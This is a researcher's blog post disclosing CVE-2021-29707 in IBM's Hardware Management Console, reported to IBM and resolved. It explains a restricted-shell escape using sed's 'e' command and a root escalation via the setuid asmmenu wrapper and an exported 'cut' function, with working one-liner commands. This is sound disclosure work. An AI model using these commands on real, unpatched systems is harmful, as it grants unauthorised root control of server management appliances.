IBM HMC Exploit CVE-2021-29707

Posted on 19 July 2021

During some security research I discovered a method in which the local user account restricted in the HMC shell could be uses to escalate privilege to root access. The post will go through my thought process while researching the vulnerability.

Background

To Quote the IBM Knowledge Centre:

The Hardware Management Console (HMC) is a hardware appliance that you can use to configure and control one or more managed systems. You can use the HMC to create and manage logical partitions and activate Capacity Upgrade on Demand. Using service applications, the HMC communicates with managed systems to detect, consolidate, and send information to service and support for analysis.

ibm hmc

The IBM HMC is a 1U IBM X Series server running Linux which communicates with an IBM Power Series server to provide management functionality; creating LPARS (VMs), connecting to a virtual terminal etc.

You can manage the HMC through a WebGUI or via SSH. This exploit focuses on the command line experience.

Initial Investigation

After connecting to the HMC you are presented with a restricted bash shell:

restricted shell command set

I was curious how this restricted shell was implemented, so I decided to do some digging. I first looked at the sshd_config file to see if there was anything of note.

ssh config

SSHD features like Portforwarding were disabled which was expected however UserRC files were allowed. Upon further investigation; my home directory was root owned preventing me from altering my bashrc / bash_profile / sshrc files.

I went back to the SSHD config file to see how my shell was spawned I could not find use of the ForceCommand directive, so I looked at the /etc/passwd file.

/etc/passwd shell change

My shell had been updated to use a wrapper script around bash. This hmcbash script placed my shell in a restricted mode and loaded the environment with readonly variables to prevent PATH changes and shell escapes such as MANPAGER and LESSSECURE.

After a few failed attempts I was unable to get the login process to change my environment, so I decided to look at the available command set:

env

The restricted users’ path is split into two sections /usr/hmcrbin contains all the HMC related commands to create a new LPAR, manage P server etc. I wanted to leave reverse engineering as a last resort, so I looked at the standard Linux tools under /hmcrbin and Wow that a limited command set! However, one does catch my eye.

Restricted Shell Bypass

sed is a tool for manipulating files; Not very useful in my position since everything is locked out through good file permissions, but it does have a quite extensive command set for processing files. Ones of those commands is e which upon matching specific lines in a file will execute a command. Its intended purpose is to run an external command like sort then feed the output of the command back into sed to replace a portion of a file. However, in the case it can be used to break out of the restricted shell:

sed -n "1e /bin/ps" /etc/hosts

This commands asks sed to process the /etc/hosts file. On the 1 line execute the ps command. Building on this we can create an unrestricted environment and break out of the restricted shell proper:

sed -n "1e /bin/bash -c 'PATH=/usr/kerberos/sbin:/opt/csm/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/hsc/bin:/opt/csm/bin:/opt/IBMJava/jre/bin:/usr/kerberos/bin:/usr/hmcrbin ; bash > $(/usr/bin/tty) < $(/usr/bin/tty)'" /etc/hosts

shell bypass demo

The PATH has to be updated to allow access to the usual Linux commands, and the input / output of the command needs to be redirected to the current TTY as sed is internally redirected to its command buffer.

Smashing, we are now out of the restricted shell. Next target root access!

Priv Escalation

The HMC runs on Linux and after a casual look around nothing jump out as a massive target for an exploit, so I decided to have a look at the HMC commands. It turns out some of them are setuid!

/usr/hmcrbin/ldapsearch: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

295029   12 -rwsr-xr-x   1 root     root         9873 Feb  7  2017 /usr/hmcrbin/asmmenu

/usr/hmcrbin/asmmenu: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

295030   12 -r-sr-xr-x   1 root     root        11689 Feb  7  2017 /usr/hmcrbin/chkmedia

/usr/hmcrbin/chkmedia: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

Now I have an unrestricted shell I could use regular Linux command to investigate the binary!

Target acquired! The asmmenu command looks interesting, its looks like a C setuid wrapper program around a bash script. Linux will not allow interpreted script files to have a setuid bit so using a custom C program is one method to get around this limitation. However, using strace to debug and looking at the script; it does not look like the environment is sanitised.

strings command

ptrace command

The launchASM script used the cut program to process some variables before starting the bulk of the script. So what if I could change my PATH to use a new cut program.

In bash the shell with execute a command in the following order:

  1. Functions
  2. Alias
  3. PATH

Meaning if I create a bash function it would override the cut command in the PATH. I could also create a new cut program on disk and change my search path to look there first, but the function method is cleaner and does not require any files.

The restricted shell prevents the use of exported bash function but since we have a unrestricted shell this is not a issue:

bad cut

Sweet! Now I’m almost root. I just need to craft a new cut function will a built in shell. Here is everything in a one liner:

sed -n "1e /bin/bash -c 'PATH=/usr/kerberos/sbin:/opt/csm/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/hsc/bin:/opt/csm/bin:/opt/IBMJava/jre/bin:/usr/kerberos/bin:/usr/hmcrbin ; cut () { /bin/bash > $SSH_TTY < $SSH_TTY ; pkill launchASM ; } ; export -f cut ; /usr/hmcrbin/asmmenu --ip 1.2.3.4 '" /etc/hosts

and there we have it! From a HMC restricted user to full root in one command.

final exploit

After discovering this I reported it to the IBM Hackone program.

Timeline

Total time elapsed between initial report and resolution = 92 days (3 months, 1 day)